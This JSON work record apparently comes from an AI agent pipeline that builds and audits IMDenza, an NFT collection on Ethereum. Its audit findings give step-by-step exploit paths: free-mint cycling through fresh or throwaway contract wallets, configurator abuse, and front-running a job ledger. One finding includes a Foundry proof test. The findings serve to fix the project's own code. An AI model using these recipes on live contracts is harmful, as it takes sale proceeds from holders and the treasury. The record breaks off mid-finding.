{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"39a66ffb-504c-4e61-a345-3a8d585ecbf8","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"2327ad050c6f08827b236aa19b84028aa7d3704a957c5e8ae9e2b787ae84a35a","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"828cfd1c409666ba04d5e31308dba7a19e7e42664d137451861b885cd34188b0","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"48314431d8193c563bef8cab7bbf732add45f841eaaae5b7180d095f84a26311","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"ebc0e272e0eee0ea0934015bdb3197753f67d8d2e6a4d2888c9391569b55060a","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0205da6f4cb014be3c130446b2683a6847de05a4494632a60dab181146b4ab79","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"abdfd81b6e68ec5bd46da8aabf2de7d1afd8906cbd72e8d8dc3055dac6a6b269","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"e7b6791e267e3c061239f9ee12b1dffd8025936da88f5c325abe6ea0955ac051","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"8f66d4a3bab2bc756a2ade590496f6b52b30d69eb9e6c3917db937ae4d833fb9","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Launch IMDenza: an animated generative NFT collection of 3333 pieces on Ethereum mainnet, inspired by Tyler Hobbs’ Fidenza (flow-field algorithm with thick curved rectangles, collision control, probabilistic palettes, scale/turbulence variation). The pieces are fully on-chain animated and incorporate the entire history of IMD swarm jobs since block 0 into the generative system.\n\nCollection\n- Name: IMDenza\n- Symbol: IMDENZA\n- Supply: 3333\n- Chain: Ethereum mainnet\n- Standard: ERC721C (Limit Break) so 6.9% creator earnings can be enforced on OpenSea\n- No owner after deployment, no pause, no upgrade, no discretionary minting after the public phase ends\n- Every NFT is unique. The generative system must guarantee that no two tokens can ever produce the same artwork. Duplicate outputs are forbidden.\n\nMinting\n- 1 free mint/claim per wallet for holders of Identity MD NFTs\n- 1 free mint/claim per wallet that holds more than 25 IMD (token 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7 or 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127)\n- 1 free mint/claim per wallet that holds at least one Fidenza (Art Blocks contract 0xa7d8d9ef8d8ce8992df33d8b8cf4aebabd5bd270, project 78)\n- Public mint price: 0.069 IMD\n- 90% of all mint proceeds distributed pro-rata to IMDenza NFT holders\n- 10% of mint proceeds to treasury 0xc3F0dEC012784f6d7178104C31A4611c6897756c\n- Free claims are checked on-chain at mint time (no off-chain allowlist that can be gamed)\n- Royalties: 6.9% enforced via ERC721C, paid to a distribution contract that splits pro-rata to current IMDenza holders\n\nGenerative artwork & animation\n- Core: flow-field algorithm producing organic, non-overlapping (or controlled-collision) thick curved rectangles, similar in language to Fidenza\n- Fully on-chain animated SVG (CSS keyframes or equivalent). Animations include gentle flow along the field, breathing/pulsing of shapes, subtle color shifts, and density changes\n- Base seed from the mint transaction hash (deterministic, same hash always yields the same core composition)\n- Secondary modulation from the complete history of IMD swarm jobs since block 0:\n  • Cumulative job entropy (job IDs, agent counts, outcomes, timestamps) biases turbulence, density, scale distribution, and color probabilities\n  • Recent swarm activity drives a live “pulse” that increases animation speed, shape thickness variation, and saturation\n  • Job type categories (token launches, hooks, audits, websites, images, etc.) can introduce subtle accent colors or small geometric marks\n  • Early foundational jobs can leave persistent low-opacity structural traces in pieces minted later\n- All randomness is seeded and deterministic. The script must be stored immutably (on-chain or content-addressed) so any piece can be regenerated forever from its token hash + the swarm history state\n- The combination of mint hash + swarm-history modulation must produce a unique output for every token. The system must make collisions impossible (or vanishingly improbable and explicitly prevented)\n- Traits are readable on-chain or via a clean view (scale, turbulence, density, palette family, pulse influence, contributing job ranges, etc.)\n\nImplementation notes\n- The generative renderer can be a pure on-chain SVG function or a deterministic script referenced immutably\n- Swarm history can be ingested via a view that reads relevant on-chain job records or a compact committed summary updated permissionlessly\n- Distribution of mint proceeds and royalties must be claimable or automatically distributed pro-rata by balance; no admin can redirect funds\n- Deliver verified contracts, the generative script, and tests","parentJobId":null,"planHash":"26af96aedf8b6100b5f7cfd5688ea6607cc8a21c349f2cd85e6ce38b1bdbea3b","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"39a66ffb-504c-4e61-a345-3a8d585ecbf8","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2000-launch-imdenza-animated-generative"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51229","feedbackHash":"ed9adf737cc92733aa47313fa3a715590f4b4e5a196db41697b9a97666921cbd","nodeKey":"audit_economics","submissionHash":"2327ad050c6f08827b236aa19b84028aa7d3704a957c5e8ae9e2b787ae84a35a","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51305","feedbackHash":"13e201ec5d484c0ffff1f4ccc7b5b86f6b067fa10c1e6a051c898ffdc97021e7","nodeKey":"audit_flow","submissionHash":"828cfd1c409666ba04d5e31308dba7a19e7e42664d137451861b885cd34188b0","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52323","feedbackHash":"7ab575d90bc432cebdf7eff67d7dd3119441a8eb624afea586dc6cdde41e2fe7","nodeKey":"audit_judge","submissionHash":"48314431d8193c563bef8cab7bbf732add45f841eaaae5b7180d095f84a26311","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51216","feedbackHash":"264e0d6c0000c55c341be6b2f29803852feeb17995161dbfc3c4dfcfc6a18675","nodeKey":"audit_judge","submissionHash":"39f3b0dc4e526568f2c88872545f865f56e8938b63a22f6dc09463ac2d972723","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52597","feedbackHash":"96058ed204f17f67e8b332583747f1ba9871fef443714d3b4ef79b57be87e406","nodeKey":"audit_math","submissionHash":"ebc0e272e0eee0ea0934015bdb3197753f67d8d2e6a4d2888c9391569b55060a","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52685","feedbackHash":"9152c055a9138d399d8351facd0c11a27c253716b3d28979eacf525eff6f2e2c","nodeKey":"audit_permissions","submissionHash":"0205da6f4cb014be3c130446b2683a6847de05a4494632a60dab181146b4ab79","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52152","feedbackHash":"180bbe7c56c8580bec8847209328bc38a7dd09b74b14c21b427aaf417e1bbce7","nodeKey":"build_contract_project","submissionHash":"16736081014da80369b22333b36483eebe9b1362bcdc915959d0ad90d66c14f3","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52587","feedbackHash":"5b54c9c2a3e8c1544d2a68f69aa05563505fd90a2991ecf533f0c791218713c8","nodeKey":"build_contract_project","submissionHash":"abdfd81b6e68ec5bd46da8aabf2de7d1afd8906cbd72e8d8dc3055dac6a6b269","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51234","feedbackHash":"ce0fa311852f772a2546ee99c9d8eab852172b7868e0404c8bc4bd2e2690c00f","nodeKey":"manifest","submissionHash":"0c4527bb87aa481ed85ce03f1c19de85f2bcc1ff36bc807e6ca9b02c0280e2aa","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52292","feedbackHash":"3b37f85d776ba794fd74e51f6c5f4e86e9c4a150a52b9411ccc7bd8949fb1334","nodeKey":"manifest","submissionHash":"e7b6791e267e3c061239f9ee12b1dffd8025936da88f5c325abe6ea0955ac051","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51512","feedbackHash":"7b045a3e0744aa25a3f08f229ec031f4e9262e6f09c9b1560d822e23caf2dab1","nodeKey":"write_foundry_tests","submissionHash":"7db27d6332425a7f0c596337323d6ce0b8a9de243143b9aba951a43928b4b527","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52114","feedbackHash":"fddbcae83b4475d404cee0e2531bb0e512ecf335412e14edde95c5fe74f0f136","nodeKey":"write_foundry_tests","submissionHash":"8f66d4a3bab2bc756a2ade590496f6b52b30d69eb9e6c3917db937ae4d833fb9","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"665b60df07d343943f24ff980dfb8b76776b31f501edf22e317fb5fc271ed055","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"776c025db24644e8","findings":[{"citation":"resolved","description":"Asymmetry between the three free routes. claimWithIdentityMd and claimWithFidenza bind the claim to the qualifying asset (identityTokenUsed / fidenzaTokenUsed), so a given NFT can back exactly one free piece no matter how many wallets it passes through. claimWithImd only checks a point-in-time balanceOf > 25e18 and records a per-wallet flag; the IMD itself is neither consumed, locked nor remembered. The same 26 IMD (the public price is 0.069 IMD, so 26 IMD is the cost of ~377 public mints) can therefore be moved to a new wallet after every claim, in the same block or inside one transaction through contract wallets, and each wallet mints a free piece. An actor with 26 IMD can mint all 3333 pieces for gas alone, so the public sale (0.069 IMD each, 90% to holders, 10% to treasury) raises nothing, which contradicts the brief's 'free claims are checked on-chain at mint time (no off-chain allowlist that can be gamed)'. The README notes that a sybil 'with enough IMD' can claim once per wallet, but the amount needed is 26 IMD in total, reused, not per wallet. Minimal fixes that keep the per-wallet rule: pull and escrow (or burn) the 25 IMD for the duration of the claim window, or require the balance to also hold at a past checkpoint if the IMD token exposes ERC20Votes-style getPastVotes; at minimum state the real cost in the README.","line":200,"path":"src/IMDenza.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract ProofERC20 is ERC20 {\n    constructor() ERC20(\"Identity.md\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @notice claimWithImd() has no per-asset reuse guard: the same 26 IMD moved to a fresh wallet\n///         passes the holding check again. Fails on the current code (the second and third claims\n///         succeed); passes once a claim consumes, locks or otherwise binds the IMD it was based on.\ncontract ImdClaimCycleProof is Test {\n    IMDenza nft;\n    ProofERC20 imd;\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n    address carol = makeAddr(\"carol\");\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(makeAddr(\"configurator\"), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n    }\n\n    function test_sameImdCannotBackASecondWalletsFreeClaim() public {\n        imd.mint(alice, 26 ether);\n        vm.prank(alice);\n        nft.claimWithImd();\n        assertEq(nft.balanceOf(alice), 1);\n\n        // Move whatever alice still holds to bob in the same block and try again.\n        uint256 left = imd.balanceOf(alice);\n        vm.prank(alice);\n        imd.transfer(bob, left);\n        vm.prank(bob);\n        vm.expectRevert();\n        nft.claimWithImd();\n\n        // And on to carol.\n        left = imd.balanceOf(bob);\n        vm.prank(bob);\n        imd.transfer(carol, left);\n        vm.prank(carol);\n        vm.expectRevert();\n        nft.claimWithImd();\n\n        // Only the wallet that actually held >25 IMD at the start minted.\n        assertEq(nft.totalMinted(), 1);\n    }\n}","reproduction":"State: IMD_TOKEN_A live, alice holds 26e18 IMD, bob and carol hold 0. 1) alice: claimWithImd() -> token 1. 2) alice: IMD.transfer(bob, 26e18). 3) bob: claimWithImd() -> token 2. 4) bob: IMD.transfer(carol, 26e18). 5) carol: claimWithImd() -> token 3. All in one block. Expected (brief: a check that cannot be gamed, and parity with the other two routes): steps 3 and 5 revert. Actual: totalMinted == 3 while IMD totalSupply is still 26e18; repeating 3330 more times mints the whole collection for free. Reproduced in test/scratch/Leads.t.sol test_lead1_imdClaimCycledThroughWallets and in the attached proof (fails on current code).","severity":"medium","snippet":"    function claimWithImd() external nonReentrant returns (uint256 tokenId) {\n        _checkClaim(CLAIM_IMD);\n        if (!_holdsImd(msg.sender)) revert InsufficientImd();","title":"claimWithImd has no reuse guard: one 26 IMD balance cycled through fresh wallets mints the free supply for gas only"},{"citation":"resolved","description":"Trust gap (access x economics). The brief requires 'no owner after deployment ... no discretionary minting'. The configurator role survives deployment indefinitely (until it is used once) and the only validation on the value is non-zero. The value it sets is the oracle for a free mint route: claimWithIdentityMd trusts IERC721(identityMdCollection).ownerOf(id) == msg.sender. Pointing it at address(nft) makes every IMDenza holder eligible for a second free piece; pointing it at a contract the configurator wrote (ownerOf returning a chosen address per id) lets chosen wallets mint the remaining supply for free, one per wallet, taking the public proceeds away from holders and treasury. The wallet is a single EOA ($owner), so a key compromise has the same effect. Conversely, setting an EOA or a typo address passes the check, and claimWithIdentityMd then reverts NoCode forever because the setter is one-shot (AlreadyConfigured). Neither failure can be corrected. Minimal fix that preserves the design: take the Identity MD collection as an immutable constructor argument (manifest word, checked for code on use as the recipe requires) and delete the setter; if it must stay a setter, require collection.code.length > 0, require ERC165 support for IERC721, forbid address(this) and the distributor, and only allow it before the first mint so it cannot be used to add a route mid-sale.","line":142,"path":"src/IMDenza.sol","reproduction":"A) alice holds 26e18 IMD; alice: claimWithImd() -> token 1. configurator: setIdentityMdCollection(address(nft)). alice: claimWithIdentityMd(1) -> succeeds, alice now holds 2 free pieces; every holder can do the same (test/scratch/Leads.t.sol test_lead2b_configuratorSetsSelf). Expected: no post-deployment actor can open a mint path; actual: one call does. B) configurator: setIdentityMdCollection(0x000000000000000000000000000000000000dEaD). alice: claimWithIdentityMd(1) -> NoCode(0xdEaD); configurator: setIdentityMdCollection(realCollection) -> AlreadyConfigured. The Identity MD route is dead permanently (test_lead2c_eoaBricksRoute).","severity":"medium","snippet":"    function setIdentityMdCollection(address collection) external {\n        if (msg.sender != configurator) revert NotConfigurator();\n        if (identityMdCollection != address(0)) revert AlreadyConfigured();\n        if (collection == address(0)) revert ZeroAddress();\n        identityMdCollection = collection;","title":"Configurator can point claimWithIdentityMd at any contract (including IMDenza itself), enabling free discretionary minting, or brick the route forever with one wrong address"},{"citation":"resolved","description":"Access x asymmetry. The brief wants pieces modulated by 'the complete history of IMD swarm jobs since block 0', with 'early foundational jobs' leaving persistent traces in all later pieces. The ledger has no recorder guard and no reconciliation: the first writer of any jobId wins forever, and the first 16 records become the foundational digests drawn into every piece minted afterwards. There is no owner or back-fill window, so whoever calls recordJobs first after deployment (a griefer front-running the operator's back-fill transaction in the same block) defines the foundational traces of the entire collection with fabricated data (type 7, 65535 agents, outcome Failure, timestamp 0 all pass validation). If the real job ids are predictable (keccak of public job UUIDs, as the docs suggest), the griefer can also record them with wrong data; recordJobs is all-or-nothing, so the legitimate batch reverts with JobAlreadyRecorded and the correct record for that job can never be written. Separately, 10 garbage records (~1.5M gas total) pin pulse() at PULSE_MAX, forcing 2x animation speed and maximum saturation on every piece for ~7200 blocks, repeatable daily. No funds move, but the stated generative guarantee is permanently broken and the README's operational plan ('back-fill before minting opens') is not enforceable on chain. Minimal fix that keeps the permissionless summary: let the constructor take the committed back-fill (e.g. a root/entropy of the pre-launch history and its count) so foundational slots are filled at deployment, or accept records only with an attestation from a recorder address given as a constructor argument while leaving reads open.","line":140,"path":"src/SwarmHistory.sol","reproduction":"Fresh SwarmHistory. griefer: recordJobs(ids[0..15] = keccak('real-job-', i), jobType=7, agentCount=65535, outcome=2, jobTimestamp=0) -> succeeds, jobCount=16. operator: recordJobs(same ids with the real data) -> reverts JobAlreadyRecorded(ids[0]), nothing recorded. foundationalDigests(1000) returns 16 digests all recorded by griefer; recordAt(0).recorder == griefer; pulse() == PULSE_MAX. Expected: the foundational traces and the per-job records reflect IMD swarm jobs; actual: they are whatever the first caller wrote, and the true data for those ids is unrecordable. test/scratch/Leads.t.sol test_lead3_swarmFrontRun.","severity":"medium","snippet":"        if (isRecorded[jobId]) revert JobAlreadyRecorded(jobId);\n        isRecorded[jobId] = true;","title":"SwarmHistory is first-come: anyone can seize the 16 foundational slots, pre-empt real job ids (blocking the legitimate back-fill) and saturate the live pulse"},{"citation":"resolved","description":"Permissionless distribute() guards only on unattributed == 0 (the slither incorrect-equality lead). After any distribution whose amount is not a multiple of minted, 1 wei of dust stays unattributed. Calling distribute() again with nothing new attributes perToken = floor(1e18/minted) acc units to every token while attributed = floor(perToken*minted/1e18) is 0, so reserved does not grow and the same wei is re-counted on every call. Each replay adds ~1 wei of unbacked entitlement spread across all holders; the sum of pending() exceeds the balance and reserved -= amount underflows for whoever claims last, which reverts their claim until new funds arrive, after which the shortfall rolls onto the next last claimant. Economic impact is wei-scale (one wei per call), so low, but the conservation invariant the README states (sum of claims never exceeds what was received) no longer holds, and the tests only call distribute after funding. Fix: after computing attributed, revert if attributed == 0 (or treat unattributed < minted as nothing to distribute) so a replay cannot move the accumulator without backing.","line":72,"path":"src/IMDenzaDistributor.sol","reproduction":"Three tokens minted (ids 1..3). vm.deal(dist, 100 wei). distribute(ETH): perToken=33333333333333333333, attributed=99, reserved=99, dust=1. distribute(ETH) three more times with no new ETH: each adds 333333333333333333 acc per token, attributed 0. pending(1)+pending(2)+pending(3) == 102 > balance 100. claim(ETH,[1]) pays 34 (reserved 65), claim(ETH,[2]) pays 34 (reserved 31), claim(ETH,[3]) reverts (31 - 34 underflow). Expected: distribute with no new value is a no-op/revert and every holder can claim their 33; actual as above. test/scratch/Leads.t.sol test_lead4_distributeDustInflation.","severity":"low","snippet":"        uint256 unattributed = balance - reserved[asset];\n        if (unattributed == 0) revert NothingToDistribute();\n\n        uint256 perToken = (unattributed * PRECISION) / minted;\n        uint256 attributed = (perToken * minted) / PRECISION;","title":"distribute() can be replayed on residual dust with no new funds, inflating accumulators beyond the balance so the last claimant's claim reverts"},{"citation":"resolved","description":"Economics x asymmetry, documented in the README as intended ('including the new one') but worth an explicit decision by the requester: because _mintTo increments totalMinted before distribute() runs, the new token is one of the recipients of its own 90%. When totalMinted is small the minter gets most of the holder share back: 90% for the first piece, 45% for the second, and in general 0.9/totalMinted. The effective price therefore rises from 0.0069 IMD to ~0.069 IMD across the sale, which is a different economic rule from 'public mint price 0.069 IMD, 90% distributed to holders' read as the existing holders. No funds are lost to third parties. If the intent is that the paying minter does not receive from its own payment, run distribute before _mintTo (so minted excludes the new token) or exclude the new id.","line":264,"path":"src/IMDenza.sol","reproduction":"No prior mints. alice approves 0.069e18 IMD and calls mint(IMD_TOKEN_A) -> token 1; 0.0069e18 goes to TREASURY and 0.0621e18 to the distributor, attributed to token 1 only. alice (or anyone) calls distributor.claim(IMD, [1]) -> alice receives 0.0621e18 back; net paid 0.0069e18. test/scratch/Leads.t.sol test_lead5_firstMinterRebate.","severity":"info","snippet":"        tokenId = _mintTo(msg.sender, 0);\n\n        uint256 toHolders = received * HOLDER_SHARE_BPS / BPS;","title":"Public minter shares in its own payment: the first public mint is 90% refundable immediately (net 0.0069 IMD) while late minters pay ~full price"}],"hash":"0205da6f4cb014be3c130446b2683a6847de05a4494632a60dab181146b4ab79","nodeId":"ffc221b6-e03c-4c37-8a40-d6b3304cd136","outcome":"completed","summary":"Review complete. The findings file `.imd-findings.json` holds 5 findings and 21 coverage rows, all snippets verified against the tree, and no tracked file was changed. The project's own suite passes (51 tests), and my scratch tests under `test/scratch/` reproduce every finding.\n\n**Findings (access control, trust gap, asymmetry)**\n\n1. **Medium, with proof.** The IMD free route in `src/IMDenza.sol:200` has no reuse guard. The other two free routes mark the qualifying NFT as used, but the IMD route only checks a point-in-time balance. One 26 IMD balance passed wallet to wallet mints a free piece per hop, so the full supply can be minted for gas alone and the public sale raises nothing. The attached Foundry test fails on the current code.\n2. **Medium.** The configurator's one-shot setter at `src/IMDenza.sol:142` accepts any non-zero address. Setting it to the IMDenza contract itself gave an existing holder a second free piece in my test, and a configurator-written contract could open free minting for chosen wallets. Setting an EOA or typo address bricks the Identity MD route permanently. This conflicts with the brief's \"no owner, no discretionary minting\".\n3. **Medium.** SwarmHistory is first-come with no recorder or back-fill window. A griefer front-running the operator seizes all 16 foundational slots, and pre-recording predictable job ids makes the legitimate batch revert forever, since the batch is all-or-nothing. Ten garbage records also pin the live pulse at maximum for about a day.\n4. **Low.** The distributor's permissionless `distribute` can be replayed on 1 wei of residual dust with no new funds. Each replay adds unbacked accrual, so pending exceeds balance and the last claimant's claim reverts. Impact is wei-scale but the conservation invariant breaks.\n5. **Info.** A public minter shares in its own 90%, so the first public mint nets 0.0069 IMD. Documented in the README, but flagged as an economics decision for the requester.\n\n**Coverage.** All 18 listed entry points have a row. The two owner-only ERC721C setters, the ERC721 transfer and approval functions, `applyTransferPolicy`, `mint`, `claimWithFidenza`, `claim` and `receive` hold. Slither's arbitrary-send and uninitialized-state lines were false positives; its incorrect-equality line led to finding 4.\n\n**Not reached.** The renderer and field contracts were only skimmed for ownership, since they hold no state; the live Limit Break validator behaviour was assessed from the vendored v4 sources, not a fork.","treeHash":null,"usage":{"cachedInputTokens":1901261,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":47324,"runtime":"claude","turns":33,"wallClockMs":730371}},{"artifacts":[],"attempt":1,"bundleHash":"b3067e285dd933a6124916459d406a90005c028e1ba1ce952150e9806f1243fd","device":"d00f790fc692b1a4","findings":[],"hash":"0c4527bb87aa481ed85ce03f1c19de85f2bcc1ff36bc807e6ca9b02c0280e2aa","nodeId":"ba4a77bf-e2d0-46f8-8cd4-cba007bf3381","outcome":"completed","summary":"Done. `launch.json` is written and is the only change in the working tree.\n\n**What the manifest contains**\n\nThe four application contracts, in constructor dependency order, matching the accepted source in `src/` and the deploy script:\n\n1. `SwarmHistory` with no arguments.\n2. `IMDenzaField` with no arguments.\n3. `IMDenzaRenderer` taking the SwarmHistory and IMDenzaField addresses as earlier-contract references.\n4. `IMDenza` taking `$owner` as the configurator, then the renderer and SwarmHistory references.\n\n`IMDenzaDistributor` is not listed because the IMDenza constructor creates it internally and its own constructor binds to its creator, so it cannot be deployed by the factory. The `$owner` argument fills the configurator slot, whose only power is a one-shot setting of the Identity MD collection address. No contract exposes `owner()`, matching the no-owner requirement and the protected owner checks. The notes field explains each contract, the mint routes, the proceeds split, the treasury address, uniqueness guarantees and the post-launch permissionless steps.\n\n**Verification**\n\n- The manifest parses with exactly the keys kind, contracts and notes. Every constructor argument is a string, names are unique identifiers under 32 characters, and every `$contract:` reference points backward.\n- `forge build` succeeds, and `forge test` with the verifier's fuzz seed passes all 51 tests across 4 suites.\n- `git status --porcelain` shows only the new `launch.json`. No scratch files were left behind.","treeHash":"c7051a3c6a3a1fbcdad50b112e09e173e2266d40","usage":{"cachedInputTokens":325736,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":4152,"runtime":"claude","turns":9,"wallClockMs":138381}},{"artifacts":[],"attempt":1,"bundleHash":"b0ac4e32891bc0172a45e1a0d600c8296f24b3347604335d89644dd786ab8846","device":"7c748c02cd2ee98f","findings":[],"hash":"16736081014da80369b22333b36483eebe9b1362bcdc915959d0ad90d66c14f3","nodeId":"86662a37-3e5b-4f87-b5ac-53102bfad246","outcome":"completed","summary":"IMDenza is built, tested and committed (commit `25176a1`, 365 files, no submodules, no `launch.json`, no `.imd-blocked.json`).\n\n**What was delivered** (`src/`, `test/`, `script/`, `README.md`, vendored `lib/`):\n\n- **IMDenza**: ERC721C (Limit Break v4.0.1) collection, 3333 supply, no owner. Three on-chain-checked free claims (Identity MD NFT, >25 IMD in either IMD token, Fidenza via Art Blocks project 78, each once per wallet and once per NFT) plus a public mint at 0.069 IMD. Proceeds are measured on receipt and split 90% to the distributor, 10% to the brief's treasury. Royalties are 6.9% to the distributor via ERC-2981. The collection self-applies the ERC721C policy (level 3, list 0) on the live default validator at first mint, and anyone can re-apply it with `applyTransferPolicy()`.\n- **IMDenzaDistributor**: created by the NFT in its constructor (which resolves the circular address dependency a launch manifest cannot express). Checkpoint-based pro-rata accounting per asset, works for ETH, IMD and any ERC-20 royalty, no hooks, no admin.\n- **SwarmHistory**: permissionless append-only job ledger with rolling entropy, category counters, foundational digests and a block-decaying pulse. Mints snapshot it; the renderer reads only the pulse live.\n- **IMDenzaField + IMDenzaRenderer**: pure, deterministic flow-field tracer with value noise, collision grid and thick strokes, wrapped with eight palettes, CSS keyframe animation (flow, breathing, density, hue/saturation, pulsing marks), accent marks per job category, foundational traces and base64 JSON metadata. Seed is keccak(tokenHash, swarmEntropy, tokenId), so uniqueness is structural, and reused hashes or seeds are refused on chain.\n\n**Checks run locally**: `forge build` clean (only \"unreachable code\" warnings inside the vendored library because owner-only functions always revert), 51 tests pass with the verifier's fuzz seed, `forge fmt --check` passes. All runtimes are under 24,576 bytes and every constructor succeeds on an empty chain.\n\n**One owner setting after launch**: the brief names \"Identity MD NFTs\" but gives no contract address, so the configurator (`$owner`) must call `setIdentityMdCollection(address)` once. Until then only that claim route reverts with `NotConfigured`. This is the sole post-deployment power and is documented in the README.\n\n**Facts verified against mainnet** (public RPC, 2026-10-16): IMD token A is live with 18 decimals, the second IMD address has no code yet (the contract checks it on use), Fidenza is Art Blocks project 78, and the ERC721C default validator has code.\n\n**Open points for the requester and reviewer**: holding checks are point-in-time at the mint transaction, the swarm ledger is permissionless by design, and `tokenURI` needs an RPC with at least a 50M `eth_call` gas cap for the densest pieces. The tests are not an audit; an independent adversarial review is still needed before funds flow.","treeHash":"e1349ece894d62ef6d022a68d1c2bcff0f9750c0","usage":{"cachedInputTokens":5954549,"inputTokens":1282,"model":"claude-fable-5-1","outputTokens":128815,"runtime":"claude","turns":62,"wallClockMs":1986297}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"4199bf0c80a9d6cf","findings":[{"citation":"resolved","description":"claimWithImd() only checks a point-in-time balance of msg.sender and a per-wallet flag. A wallet can be a freshly created contract, so one actor recycles a single 26 IMD position through throwaway contracts inside one transaction: create child, transfer 26 IMD to it, child calls claimWithImd() (passes _holdsImd; _safeMint lands on the child, which implements onERC721Received), child returns the IMD, repeat. Each iteration costs only gas (~360k) and produces zero proceeds: the 0.069 IMD public price, the 90% holder share and the 10% treasury share are all bypassed, 